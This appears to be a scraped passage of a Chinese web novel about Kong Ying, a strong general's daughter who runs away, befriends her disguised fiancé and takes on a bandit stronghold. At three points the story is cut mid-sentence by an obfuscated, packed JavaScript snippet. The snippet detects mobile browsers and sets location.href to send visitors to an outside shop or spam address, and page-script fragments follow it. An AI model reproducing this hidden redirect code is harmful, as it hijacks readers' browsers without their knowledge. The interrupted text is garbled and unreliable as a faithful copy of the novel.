《孔英有力》 1. 孔英要仗剑走江湖 我是京城第一美人,现在被仇人逼到悬崖边,v我50,带你观看极限一对九。 - 练兵场上,身材健硕的少女将弓拉满,屏息凝神盯准靶心,观察好时机略一松手,锐箭破空而出,旋转着正中红点,引得旁观者发出惊呼。 孔英放下弓箭,洋洋得意地环视一圈,满意地在众人眼中看到了惊艳与崇拜,可下一秒见到了气势汹汹冲她而来的人,笑着的大白牙一下子收了回去。 “孔英!你今日不是要去长公主的牡丹宴吗!” 身边的丫鬟小厮默默远离了孔英,唯恐被气头上的护国公迁怒。 “还到这练兵场来,这是你该来的地方吗!” 孔英讪讪丢下弓箭,含胸驼背佝偻身子,也不解释,低头任凭父亲数落。护国公见她这副样子就知道孔英不可能把自己的话听进去,仰头长叹一声。 “你呀你,什么时候能让我省省心呀。” 真是犟种一般的脾气。 孔英的爹作为开国元勋被圣上封为护国公,大哥在满天黄沙的西北驻守边疆五年,二哥弃笔从戎奔赴沙场。家母去得早,护国公对糟糠之妻一往情深,没再续弦。大哥和嫂子伉俪情深,在西北共筑小家。二哥尚未娶亲。 家中女眷只孔英一人。 从前护国公并不反对孔英学武,反而从小就教导她巾帼不让须眉的道理,亲自上阵操练孔英,扎马步耍刀枪都是小意思,养成了孔英现在小麦色的皮肤和如此强壮的体格。 孔英日渐长成后,已经打遍家中侍卫无敌手,还迷上了江湖武林英豪的话本子。最爱设下擂台,招揽天下豪杰比武。兴致一起时,自己也上去比划两下,与那些个所谓的武林高手切磋几番。 凭借从小耳濡目染继承护国公的衣钵,再加上天生神力,孔英在擂台上也算是位常胜将军。 护国公家三小姐的不败事迹就这么在京城中流传起来,偶尔路过茶馆,还能碰见说书先生将孔英的故事编成小说传奇,讲得满堂喝彩。 当孔英还沾沾自喜于自己声名远扬的时候,殊不知老父亲已经为自己的终身大事愁白了头。 盛世杀权臣不是件多罕见的事。作为开国元老的护国公早就遭圣上忌惮,手中实权逐渐被架空,君王难测的真心让他不得不为自己的儿女谋划。 大儿子娶平民为妻,无岳父母作为助力,明明心怀雄才大略却依旧在军中受人钳制。护国公吸取教训,担忧百年之后自家女儿无人庇护,决心为孔英嫁个权贵。 但是……他看了看正对猪肘子大快朵颐的孔英,痛苦地以手掩面。 孔英一不通女工针线,二不晓琴棋书画,三来剽悍名声在外,本来冲着护国公家势力来的那些人都吓跑了大半,更不要说眼高于顶的权贵世家。 他曾试着与出身不错的文官武将提起此事,结果对方脸色剧变,忙推辞自己人微权轻,可不敢娶护国公家的三小姐。 老父亲思来想去,想出个馊主意。 由于孔英是未出阁的女子,且为了装酷保留神秘感,每每上擂台都特地在脸上蒙一块黑布,捂得严严实实,就好像长她脸上了似的,所以外人还未有机会一窥孔英的真容。 护国公越想越觉得自己主意不错,于是四处找人散播孔英的美貌名声,传得那叫一个天上有地上无,浮夸的溢美之词都被安在孔英身上,倾国倾城的下凡仙女也不过如此。 夸得他自己都快信了。 你还别说,一时间孔英风头无双,甚至盖过了尚书家女儿、京城第一才女云雅娘,争着踏破孔英家门槛的人又多了起来。 可惜上门的人全是冲着以讹传讹的美貌而来,隔着帷幕窥见她健壮的身躯,又瞠目结舌张口无言。孔英被这些浅薄的竖子弄得心烦,派人直接将他们连人带礼全轰了出去,对着面有不忿的男子出言嘲讽: “就凭你们几个瘦鸡仔还想娶我?!” 被轰出去的公子哥自觉失了颜面,恼羞成怒,不提自己的见色起意,却到处宣扬孔英野蛮霸道没有礼节。 这下子护国公家的门庭又清净不少。京城中处处是孔英的传说,说孔英虽貌若天仙却刁蛮任性,不会是个宜室宜家的贤妻良母,于是乎孔英的名声愈来愈差。 孔英十六岁这年,同龄的女儿家要不已经出嫁,要不就是已有婚约,只剩下她还没个着落。护国公为此特地去拜访了当朝国师,诚恳请教“如何把自己女儿嫁出去”这一重大问题。 据说这位国师多智近乎妖,当年跟着尚未登基的圣上打江山的时候,运筹帷幄算无遗策,与孔英爹一文一武两相配合,协助圣上颠覆荒淫暴虐的前朝,开辟盛世。 护国公和国师聊了什么,孔英不得而知,只知道护国公回来时满脸沧桑,一把夺下她啃得津津有味的大鸡腿,对着满脸迷茫满嘴流油的孔英,痛心疾首地说了句: “嫁!” 这一个字粗犷而豪迈,一时没反应过来的孔英还以为老父亲想念从前纵马飞驰的光辉岁月了。 后来她才得知,国师不知道是抽了哪门子疯,叫要孔英嫁与一个根本没见过面的男子。据说此人是国师弟子,名字叫作“楼修生”,因体弱多病,便隐居深山不曾入世,否则圣上身边估计又要多出一位诸葛先生。 “他是何人与我有甚么关系? “只凭他是国师的徒弟,我便要嫁给一个连面都没有见过的男子 “国师若是实在喜欢,不如自己嫁给他。” 火气一上来,孔英拍案而起,看着老爹恨铁不成钢: “说不定是那人生得丑陋粗鄙又疾病缠身,所以二十四岁都还没有女人愿意嫁给他呢! “糊涂爹啊,您怎么就替我答应下来了呢!” 这位叱咤沙场数十载的老将委屈地直戳手指,好像他才是被人指婚的那个: “这……老父也是看我这么好的乖女老大不小却无人家相配,心里着急嘛。” 护国公在十年前见过楼修生,少年文质彬彬芝兰玉树的样子确也不孬。 当然,配上自家女儿还差了点。 其实孔英和他也算有不浅的渊源,只是既然孔英自己都忘却了这段往事,护国公也不打算说出来让孔英多烦忧。 本来护国公也不愿将女儿嫁给毫无功名的楼修生,只是那日与国师长谈,国师摇摇羽扇道:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288421|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你也不想想你为女儿亲事奔走许久,怎么就没一家愿意结亲?” 见护国公的老脸上依旧一派懵懵懂懂,多年的老友气得把羽扇往他头上重重一敲: “自然是那位的手笔!难道那位会让你将女儿嫁入豪门世族,任凭你们两家强强联合而不管不顾?” 护国公被国师点拨恍然大悟,又把期待的目光看向比自己聪明许多的老友,希望对方能出个靠谱的主意。 国师喝了口茶压下怒气,把话讲得更加明白:“索性就让三小姐嫁给白丁布衣,从此做个富贵闲人逍遥一生,反正你也养得起。” 护国公面露难色,苦笑:“养是养得起,就怕护不住啊!若是那位真不顾昔日情面,我两个儿子身有功名还好,孔英一个女儿家可怎么办呀。” 国师神秘地摇摇头,说出自己的计划:“不如让三小姐嫁给我的徒弟如何?” 护国公摸不着头脑。他知道国师一生未婚,生活作风上也没什么私生儿女,可这徒弟又是从哪儿冒出来的? 国师道:“你可还记得十多年救下三小姐的楼微?”这种事护国公当然不可能忘,他点点头。 国师继续道:“他的遭遇也有你我的因果,当初我不忍置他于不顾,便让他更名‘楼修生’,收为徒弟悉心教导。 “此人有慧根,隐居山林不问世事,远离官场朝堂的权利纷争,却也博览群书孜孜不倦。身子经过多年调理,比从前强健不少。” 见护国公依旧犹豫不决,国师使出绝招: “难道你要看三小姐被耽误成老姑娘?” 此话一出,“老姑娘”三个字犹如晴天霹雳炸开在他耳边。护国公越想越觉得国师不愧是国师,看问题就是比旁人透彻,也越发坚定要把孔英嫁给楼修生的心思。 孔英不知道护国公波涛汹涌的内心世界,还在向老父亲展示自己臂膀上壮硕的肌肉,拍了拍胸膛:“无人相配又如何?我照样能活得潇洒肆意!” 尽管孔英极力反对,护国公却一反从前对孔英的宠爱,狠下心来,破天荒请了管教嬷嬷督导孔英的一言一行。 孔英心不在无用的礼教,背地里不知道被多少人嘲笑过不像个大家闺秀,她本人不多在意,只当各人志向不一。 但是现在,孔英被管教嬷嬷折磨得觉也睡不好、大鸡腿也吃不下。天天一睁眼就得面对嬷嬷那张比生气的护国公还要凶神恶煞的脸,还要被当众用戒尺打手板。 如此几天下来,饶是孔英皮糙肉厚不觉得疼,也被搞得脸上无光,十几年来积攒下的颜面几乎扫地。 不在沉默中灭亡,就在沉默中爆发! 在某日又因为翘二郎腿被嬷嬷打手板之后,孔英毅然决定背上包袱离家出走。离开前还不解气,趁着夜深人静潜入嬷嬷房间,用墨水将嬷嬷的脸画成鬼脸,末了将画笔一丢,心满意足地离开。 就在孔英雄心壮志翻墙而出,要去仗剑走江湖时,护国公躲在暗处,见乖女儿摔了个结结实实的屁股蹲,难受又心疼,与国师窃窃私语: “你这法子能行吗?” 国师捋了捋胡子,高深莫测道:“小辈自有小辈的机遇。” 2. 孔英要英雄救美人 出宅门便知天地浩大,孔英背着包袱也不知道要去向何方,索性一路朝着南边走。 没了人管束,她只觉得之前萦绕在胸口的闷气消失得一干二净,瞧着街上什么东西都新奇得很,走了没几步怀里就抱了一大推东西。孔英窃喜:哎呀呀,幸好她生了一双坚强有力的大胳膊,不然还真拿不下这么多。 正欢欢喜喜逛街,突然听到街角处传来一声恶意满满的调笑:“嘿嘿嘿,把你的钱财都交出来!” 孔英定睛一看,一群贼眉鼠眼的街头混混围着个貌美如花的弱女子。 什么!光天化日在大街上抢劫,这还有没有王法了! 她自诩豪侠正义人士,路见不平当然要拔刀相助,一声怒吼:“住手,放开她!” 混混头子被吓得浑身一震,转过头见是个买了许多东西的富家女,见对方年纪尚小,发出反派的笑声: “桀桀桀,小姑娘可别管不该管的事情哦,不然我就……啊!” 话还没说完就被孔英一记飞踢踹倒在地,疼得嗷嗷叫。一只穿着绣花鞋的脚踩上混混的头,孔英看着对方扭曲的五官冷笑一声: “不然你就怎样啊?” 这些混混平常最多就收个保护费,偶尔抢劫调戏良家妇女,哪里见过孔英这般凶悍的女子,顿时两股战战,连滚带爬地逃走。 “一群懦夫。” 孔英对着混混头都不敢回的背影骂了一句,想起来还有位刚脱险的女子。 对方许是刚被孔英从恶霸手里解救出来还没回过神,正目瞪口呆地看着自己。方才没有细看,孔英发现对方居然比自己的身量还要高出几分,只是像抽条的柳枝般纤细羸弱,安慰对方道: “别害怕,坏人已经被我赶跑了。” “额……多、多谢姑娘相救。” 孔英挑了挑眉,没想到对方这样一个唇红齿白貌美如花的人却有一副低沉的男子声调,继而问道:“你家住何处?我护送你回去,免得那群混混再来纠缠你。” “在下父母早亡,无处可去。” 天哪!孔英顿感心疼,自己只是没有母亲教养,都要被恶嬷嬷随意磋磨,猜想对方是如何孤苦伶仃地在世间漂泊,抹了把眼角的泪花,挺起胸膛: “你若是不嫌弃,以后认我作老大,有我一口吃的就饿不着你!” 对面的美人嘴唇颤抖,“激动”地说不出话,最后沉默着点点头。孔英大喜,没想到自己初出江湖收第一个小弟就如此顺利,将自己买的许多东西分给美人,以表身为老大的大气。 “对了,还不知道你叫什么名字呢?” 美人眼神定定地看着她:“在下楼微。” “楼薇?真是个好听的名字,以后你就跟着我走,咱们一起去闯荡天涯!” 见孔英对这个名字毫无反应,楼修生失望地敛下双眸,暗自给自己打气:没事,重逢只是第一步。 此时楼修生还不知道自己因为过于美丽瘦弱的外表被孔英当作了女孩子,幻想着能够在日后相处中与对方慢慢培养感情。 这一切说来话长,简而言之就是护国公太过了解自己的女儿,知道她不可能在家中安心待嫁。国师建议堵不如疏,让楼修生和孔英结伴而行日久生情,等孔英愿意嫁了再让两人成亲。 国师算准按照孔英的性子定会见义勇为,专门设计出今天这一场英雄救美的戏码,让孔英和楼修生自然而然相遇。他想着楼修生长相出尘又言谈不俗,总能让孔英动心。 千算万算没算到,孔英将门出身又热衷武功,平常打交道的男人要不就是军场兵卒,要不就是江湖英侠,全是些豪迈不羁的人,因而完全没把温文尔雅的楼修生当作男子看待,只以为自己收了个娇滴滴的小美人当小弟。 阴差阳错,造就双方都乐于见到的情景。 孔英并不讲究吃住,原来只是在简陋的小店歇脚。但如今身后跟着一个小弟,她不得不拿出几分老大的样子来,寻了个最气派的大酒楼,将荷包甩在柜台面上: “伙计,开两间最好的房间。” 收银的小伙子见她一举一动透出暴发户的气质,忙打开荷包一看,对着满满当当的铜钱一时无语,提醒道:“客官,您这几个铜板可不够开两件天字号雅间呢。” 空气凝滞了一瞬,孔英感受到身后灼热的视线,只觉得耳根发红,再开口时语气不自觉弱了下来:“那……开一间?” 啊? 楼修生瞪大双眼,不可置信地看向脸庞微红的孔英。 难道他们才刚重逢,孔英就对他一见钟情情根深种了吗,怪不得迫不及待地要收他为小弟…… 等伙计细细数过铜板为两人登记入住,楼修生还没作好心理准备,带着几分忸怩道:“我们一间房睡,不太好吧?” 孔英有些莫名其妙,她和家里丫鬟感情好得很,有时候心疼丫鬟守夜吹冷风,便招呼丫鬟上床来和她一起睡,不明所以道: “哪里不好,我在家的时候都这样啊。” 啊? 楼修生如遭雷劈,整个人都顿在了原地,脸色惨白:“你在家里经常这样?” 孔英不知道楼修生的认知遭到了多大挑战,只当对方是害羞,一把搂上他的肩膀:“没事的啦,习惯就好了。” 楼修生一把甩开她的手,气愤道:“你要我如何习惯,习惯你和别人、和别人躺在一张床上吗?” 说着说着,一想到孔英曾和别的男人同床共枕,楼修生阵阵心痛,不由得眼眶微红。 孔英没料到对方反应如此之大,难道是自己人格魅力太大,让刚结识的小弟为自己吃酸醋了?她见不得美人落泪,连忙抓住楼修生的手安慰: “你别哭呀,大不了以后我的床只让你躺!” 又连说许多好话,总算把楼修生的眼泪劝了回去。孔英长呼出一口气,擦了擦额头渗出的细汗,心想着原来老大也不是谁都能当的,既花钱又劳神费力。 “你说的是真的?” 孔英一时没反应过来:“什么?” 楼修生用还红着的眼睛羞涩地看向她:“就是,你说你的床以后只让我躺。” 原来是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288422|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 孔英坚定而果断:“对!只让你躺。” 忙忙碌碌一天下来,孔英自觉收获非常大。虽然新收的小弟脾气娇纵了点,还总体上还是很温柔体贴,还会关心她累不累。 “无妨,我泡个热水澡就好了。” 她练武后经常泡热水澡来放松神经,那时还有专门的女师傅替她按摩来松经活骨。正怀念着在护国公府的生活,孔英突然想到自己新收了个小弟。 小弟小弟,不就是来干这种细枝末节的事情的嘛! 孔英清咳几声,想拿出老大的威严使唤小弟:“那个,你等会帮我捏捏肩背。” 听到此话,楼修生心脏扑通扑通,脸上表情一言难尽。今天生活带给他的冲击接二连三,楼修生只得安慰自己孔英一定是信任他才会如此,自己绝不能辜负对方。 但真到了那种境地,楼修生发现自己还是迈不过内心的坎。 孔英解下衣衫泡入温热的池汤,舒服得发出一声赞叹,眯起的眼睛瞥见离自己十万八千远的楼修生,不爽地唤了一声: “离那么远,怎么给我按摩啊?” 只见楼修生犹豫许久,终于跌跌撞撞地过来,眼睛被他用以一块黑布蒙上,此时用双手摸索着前进,差点掉进池汤。 孔英皱起眉,但对方可能就是这样羞涩的性子,想着第一次也不难为“她”,哼唧几声为楼修生指明方向,等着对方伺候。 楼修生心脏几乎要跳出来了,他死死咬住嘴唇,在心底尖叫:怎么重逢第一天就搞成这样了啊! 但孔英都如此要求了,他也只好顺从地将手试探性伸出去,在触碰到女子肌肤的一瞬间又触电般弹回来。孔英“啧”了一声,楼修生担心她生气,只得强压下心底情绪,默念着清心咒,为孔英按摩筋骨。 孔英常年练武又从不保养,肩上的皮肤居然还没有楼修生手上的皮肤细腻。对方看上去柔柔弱弱,又顾及孔英是女儿家,手上力道难免轻些。 孔英只觉得似乎有一束羽毛轻飘飘地滑过自己的脊背,所过之处泛起细微的痒。她晕晕乎乎,脑子里混乱地想着:虽然这个小弟力道欠佳,但自己还蛮享受的耶。 池汤里雾气氤氲,蒸腾的热气将两人都染成了粉红色。不知过了多久,孔英终于喊停,楼修生瘫倒在池汤边上,出了一身汗。 “哗啦——” 耳畔传来水声,楼修生忘了眼睛上的布料,又慌忙用手盖上双眼,背过身暗恼孔英也太不警惕。 虽说他们幼年时有过青梅竹马的情谊,但人心难测,要是楼修生真抱着不轨心思,那孔英不是很危险吗。 他此刻脑袋混沌,完全不记得孔英武力值有多高,只想着要是将来有什么登徒子采花贼,自己必然要提醒孔英不可这般没有男女大防。 “你以后,咳,以后可不要在别人面前这样昂。” 孔英换上睡袍,见楼修生依旧背对着自己,心里嫌这小弟管的真多。不过刚才他也算有点用处,自己现在浑身舒爽,也不去计较,笑眯眯道: “好,都依你。” 3. 孔英要剿匪除恶霸 一觉醒来,孔英在天字号雅间的大床上伸了个懒腰,迷迷糊糊下床时没看清路,险些踩到睡在地上的楼修生。 昨晚她想和楼修生一起睡,自己刚躺下去对方就弹起来了,红着脸说什么进展太快了,抱着被子就要去打地铺。 孔英看着不远处的横榻摸不着头脑,但当时困极了,只当睡地上是对方的爱好,于是摆摆手也不多干预,埋头呼呼大睡。留下楼修生看着她一秒入睡的神技满头黑线。 天方破晓,孔英噔噔噔跑到酒楼后院,气沉丹田开始练早功。 勾、冲、挑、退、打、踢!一套丝滑招式下来,孔英扎稳马步,吐出一口浊气,卸下力道高高兴兴准备去用早膳,一扭头就见到在庭院下独立、不知看了她多久的楼修生。 “早啊,你什么时候醒的?” 楼修生柔声道:“你出门的时候就醒了。” 孔英不好意思地笑笑:“那我下次动作轻点。”楼修生摇摇头说无妨。 用早膳时孔英才发现荷包见底,要了些咸菜白粥,不敢去看小弟的眼睛,担心对方看出自己这个老大是打肿脸充胖子,装作云淡风轻,说早上要清淡饮食。 一文钱难倒英雄汉,她这辈子何时如此窘迫过,只恨当初出走时拿的银钱不够多。 就着咸菜配粥,趁楼修生离开的间隙,孔英抓住跑堂的伙计问何处可做活。 伙计顿时警惕地看向她,以为孔英要来和自己抢饭碗,尴尬地笑了一声:“您这样的贵人怎么会看得上酒楼里的粗活呢,”见孔英身形魁梧是个练家子,又道,“您不如去镇上衙门看看。那儿最近缺人手,山上贼匪多了不少嘞!” 孔英眼睛一亮,赞赏地给伙计打赏了个铜板。伙计想她住着天字号还如此抠门,心里嫌少,面上依旧笑得谄媚:“谢过客官。” 正好楼修生回来,见此情景疑惑道:“怎么了?” 孔英不愿说出真相,道:“没什么,老大我心情好,随便给他撒点小钱。” 年纪不大却豪气十足的样子,惹得楼修生暗自好笑,心想果然是个还没长大的孩子,没有男男女女的意识倒也正常。 打定主意,将白粥喝得一干二净后,孔英擦擦嘴巴,说自己今日有要事需做,让楼修生街上随处逛逛,想买便买不用拘着。交代完后动身直奔衙门。 到了一看,只见衙门门庭冷落,露出萧瑟破败之感,孔英心里打鼓,怀疑衙门是否真能发出工钱。 来都来了,进去看看。 衙门前有块木牌,上面贴了几张因风吹日晒而残破的悬赏单。孔英粗粗看过,径直揭了金额最高的一张,走进衙门喊: “衙门的官在哪里?” 连喊几声无人应答,才有个衣衫不整看上去刚起床的年轻小伙急急出来,将头上帽子摆正,严肃道:“何人在此喧哗?” 孔英见对方看上不不太靠谱,但也没别人可问,便道:“我来接悬赏,有何流程要走?”说着将悬赏单展示给他看。 王行之看清悬赏上的内容,上下打量了孔英一番:“你单枪匹马一个小姑娘,要接剿匪的悬赏?” 孔英见他不信,挽起袖子露出粗壮的手臂,打出几个自认威慑力十足的招式,末了自信一笑:“如何?” 王行之看得发愣,还是劝道:“我信你有真材实料,但山上匪徒可比你凶残得多。你还是速速回家去,别叫家中亲眷担忧。” 孔英急了:“你别管这么多,只说要如何我才能拿到赏金。” 眼前的小姑娘面容稚嫩天真,一副初生牛犊不怕虎的样子,王行之叹了口气:“只要你能取来山寨老大的项上人头,衙门不仅会给你赏金,还会给你封个‘剿匪英雄’的头衔。 “但小姑娘你听我一句劝,那山匪原本也是衙门捕快,后来落草为寇可是为非作歹、无恶不作呀,抢劫了不知多少个过路的商旅……” 孔英得了准话,斗志昂扬便往山上跑,徒留下王行之在原地喋喋不休。 越往山上走,四周环境越显荒凉阴森,时不时有走兽在丛林间乱窜,惊起扑棱翅膀的飞鸟。四月微凉的春风吹在人身上,孔英起了鸡皮疙撒,双手环胸摩挲几下取暖,迈着大踏步往前。 行至一处分岔路口,孔英正纠结要往左还是往右,丛林间突然蹿出个蒙面大汉,吼道:“呔,此路是……” “此路是你开,此树是你栽,要从此路过,留下买路财?”孔英头一回遭拦路抢劫,仿佛来到话本中的场景,脱口而出接下大汉的话。 大汉的台词被抢,一时哑口,只好威胁地挥了挥手中大刀:“你既然知道,就乖乖地把钱财双手奉上,免得还要吃苦头。” 孔英兴奋地瞪大双眼,大汉被她盯得浑身一颤,莫名觉得背后发凉,而之后发生的事也验证了他的直觉。 “嗷嗷!女侠饶命,我的手要脱臼啦!” 大汉被揍得满地找牙,丢掉刀柄痛哭流涕,跪地向孔英求饶。 孔英无意和一个小喽啰浪费时间,一脚踹上大汉的胸膛,问道:“你们老大在何处?带我去找他。”大汉怂怂应下,边默默流泪边在前方领路。 哪里来的怪力肌肉女,打得他好疼啊呜呜呜。 不管大汉心底活动如何,孔英满腔剿匪拿赏金的激动,提前开始打算拿到赏金之后要怎么用。 两人一刻未停,直直往山顶走。待能见到山寨的营地,大汉遥遥一指,干脆利落地出卖大当家:“喏,我们大当家就在最中间的寨子里。” 接着讨好地看向孔英:“女侠,路我已经带到了,你就大人有大量,放我走吧。” 她摆摆手,大汉连忙逃走,唯恐孔英反悔。孔英大摇大摆走到山寨前,被瞭望塔上的守寨人厉声喝住: “来者何人?” 孔英难掩激动的神情,套用江湖话本里英豪的话:“行不更名坐不改姓,孔英是也!” 守寨人面露不解,又问:“孔英是谁?” 孔英气恼:“孔英是为民除害、来你老大项上人头的人!” 守寨人闻言哈哈大笑:“哪里来的小毛孩口出狂言,你断奶了吗?还是回家找妈妈去吧!” 孔英不服气,怎么一个两个都要她回家去,她可是好不容易跑出来的,不想多说废话,直冲大门而去。 “小屁孩快停下,不然我就放箭了!” 孔英不听,听到破空声下意识往旁边一躲,一支铁箭镞牢牢插入地面。她起了火气,直接拔出箭往来处投去。 “啊!”守寨人险险用盾牌一挡,看着掉在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288423|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己脚边的箭直冒冷汗。 他冲着山寨吼道:“进攻,有人来进攻啦!” 正吃饭的放下筷子,正睡觉的从梦中惊醒,正寻欢作乐的顿时萎靡,山寨的平静被打破,呼呼啦啦集结出一众目露精光的山匪,探头四处搜寻。 “不是朝廷来进攻了吗,军队在哪儿?” 守寨人惊恐地指向山寨门口孑然独立的孔英:“在那!在那!” 一时间众人你看看我我看看你,怀疑这是个“狼来了”的故事,叫骂声四起,怒斥守寨人犯了癔症,一个小姑娘也值得兴师动众。 守寨人欲哭无泪:“不是,她真的很凶残啊。” 孔英看寨中人都集结到一起,正好方便自己找人,大喊:“你们,哪个是山寨老大?” 一阵窸窸窣窣,一个身着布衣短衫的精壮男子从人群中走出来,并不因年纪轻视对方,礼貌询问:“我是,姑娘找我?” 人群中传出小话:“来找大当家的?不会是什么风流债吧。” “看着年纪不大啊,难道是大当家流落在外的孩子?” “大当家怎么会是这种人,说不定是曾被大当家所救,前来报恩的呢。” 孔英被各种谣言八卦念得心烦,不客气道:“我揭了衙门的悬赏,来取你首级。” 各种猜测顿时消失,人群静得可怕,不敢相信自己的耳朵。孟超也怀疑自己听错了,向她重复一遍:“你说,你要来杀我?”孔英点点头。 人群爆发出大笑,笑孔英不自量力,也笑她把杀人说得轻飘飘。 孟超忍住笑意,坦诚道:“姑娘,你杀不了我。就算你能杀我,也难逃出我寨中人的追杀,拿不到赏金。” 孔英皱眉,细细思索孟超的话,发现有些道理。自己多数时候都是一对一的公平决斗,但山寨里有乌泱泱一片人,她还真不一定都打得过。 孟超见对方面露茫然,明白孔英只凭一腔热血就冲上山来,全然没想过后来怎样,招来一个属下:“姑娘就此离去吧,我也不为难你,只当今日之事没发生过。赵平,你送她下山去。” 虚惊一场,人群三三两两散去各干各事。得了寨主吩咐的赵平走到孔英跟前,见小姑娘神情郁闷,又觉得好笑:“走吧,哥哥送你下山。” 若是就这样走了,那她今天岂不是白忙活一趟。 孔英闻见赵平身上的饭香,本就没吃饱的肚子更是咕咕叫,梗着脖子就是不走,赵平拉也拉不动,无奈扶额:“小姑娘,你到底想干嘛呀。” 委屈的心思泛上来。孔英从前在护国公府从来都是随心所欲,护国公最是嘴硬心软,一边念叨着哪家小姐的身形像她这样,一边心疼她练武消瘦,命人做最好的牛肉。 自从离家之后,什么人都能看不起孔英,谁都不相信她真的很厉害啊! 这一切都是从国师出的馊主意开始改变的!孔英咬牙切齿,心里给国师和那个从没见过面的“未婚夫”狠狠记上一笔。 “我要和你家老大单挑。” 赵平掏了掏耳朵,刚想嘲笑初生牛犊的天真,却见小姑娘红着眼眶,仰起头强忍着不让眼泪落下,语气无比认证,唇瓣一张一合将话说得清清楚楚: “我,孔英,要和你家老大,单挑!!!” 4. 孔英要守擂当寨王 熙熙攘攘的人群将山寨空地围得水泄不通,没抢上前排的人踮起脚尖,伸直脖子,探出脑袋想看清场上的情景。 正值饭点,有人不愿错过精彩好戏,端着饭碗就出来,含着饭菜口齿不清道:“老大真要和她打啊?” 另一人不屑:“怎么可能,她虽然看上去有些把式,但还不值得老大出手。” “那这擂台摆起来干嘛?” 另一人耐心解释:“还不是那小姑娘太难缠,说什么都要和老大打一架。老大不想以大欺小,问过小姑娘的年纪,就派六当家上了。” 那人扒了口饭:“咱老大还挺讲原则的昂。” “那当然。吃啥呢这么香,给我来一口!” “不给!这是我媳妇做的……欸你怎么还抢呢!” 不去管人群议论纷纷,孔英立在场上,眼睛牢牢盯住对面的少年。孟超说只要孔英能赢过对方就和她比划比划,她得好好对待这次比试,一举拿下。 山寨六当家身形偏瘦,长得像猴,平常做些上山下乡传递情报的事,为山寨立了不少功劳,因此年纪轻轻当上了山寨六把手。 比试开始前孟超还悄悄嘱咐他下手得知道轻重,别伤了小姑娘,也别伤了小姑娘的自尊。因此,六当家明面上做出一副严正以待的样子,实际却只想速速解决这场比试。 不然娘亲做的菜都要冷啦! 孔英正正经经地行了个抱拳礼:“在下孔英,请赐教。” 六当家一愣,也学着她回了个礼:“我,咳咳,在下石知杰,请赐教。” 行礼毕,石知杰率先出招,冲到孔英前,身子一矮,右腿贴着地面扫出。孔英轻巧跃起避开,落地瞬间欺近石知杰,不再给对方辗转腾挪的机会,右拳直击面门,逼得石知杰仓皇后仰。 趁他重心不稳,孔英左手精准扣住男孩手腕,一个漂亮的过肩摔将他重重摔倒在地。石知杰闷哼一声,还未及起身,孔英已单膝跪压在他胸前,双手制住他的肩膀。 “你输了。”孔英放开他,伸手将石知杰从地上拉起来。 石知杰面色涨得通红,不敢相信自己是败得如此迅速,气愤地吵着说要再来一次。 孔英不答应:“你根本没练过武,那记扫堂腿即便我不躲开,你也伤不了我,我不和你打。”说罢看向在场外看戏的孟超,“我赢了,现在该你和我打了。” 还没等孟超说话,另一个高壮男人抢先一步站出来:“等等,想和大当家打就先过我这关。” 人群又传来说话声: “是二当家欸。” “二当家向来和六当家感情好。六当家现在被落了面子,二当家肯定想着找回来。” “但和一开始说的不一样呀,这不是欺负小姑娘吗?” “你刚也看到她的身手了,还当人家是普通小姑娘呀。诶,再给我来点,弟妹做饭还挺好吃……” 孔英原本也不想答应,说好的就是她赢了就能和孟超打,结果现在又冒出来个什么二当家,撇撇嘴就想质问孟超。 高壮男生却突然趁孔英不备,一记重拳直击她后背。 突然的变故让众人惊呼出声,孟超也脸色大变,厉声制止男人:“孙泰!” 孔英察觉身后拳风,身子前倾避开要害,顺势一个肘击撞向偷袭者腹部。那人忍住疼痛,借势抓住她的手臂想来个过肩摔,想用刚刚石知杰落败的方式打败她。 “找死!” 孔英低叱一声,脚下使出绊腿,同时双手凌厉袭出,只听“咔嗒”一声,偷袭者的臂膀已被反制到背后。她手上使力,迫使孙泰双膝着地、狼狈跪下, 胜败已定,孔英放开他后还不解气,提腿踹向对方后背,一点都不收着力道。孙泰一个踉跄跌倒在地,痛得五官皱成一团,石知杰忙去扶他。 “哇……” 此刻旁观的人群已经确信了孔英的实力,且孙泰偷袭在先,也无人替他打抱不平,还有人替孔英拍手叫好。 孔英环视一圈:“你们还有谁不服?尽管上来!” 有人闻言脸上跃跃欲试,刚想上去却被孟超伸手拦下。孟超走上台向孔英致歉:“姑娘抱歉,方才是我们的不对。”浅浅向她一拱手,“按约定,你我二人来比试比试吧。” 孟超心里对孔英既有歉意又有好奇。前两场孔英赢得毫不费力,他还真想知道这个小姑娘的武功到底到了何种地步。 “在下孟超,请赐教。” “在下孔英,请赐教!” 